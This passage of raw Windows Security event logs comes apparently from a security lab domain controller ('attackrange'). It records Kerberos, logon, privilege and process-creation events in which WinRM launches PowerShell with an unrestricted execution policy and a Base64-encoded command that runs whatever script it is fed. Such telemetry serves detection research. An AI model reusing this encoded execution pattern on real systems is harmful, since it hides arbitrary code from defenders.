ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x6cc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257618 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52CA71 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257617 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52CA71 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257616 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257615 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257614 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257613 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6cc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x9dc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257612 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9dc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x94c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257611 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52C346 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257610 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52C346 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257609 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257608 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257607 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257606 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1148 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x94c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257605 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Process Information: - New Process ID: 0x94c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as 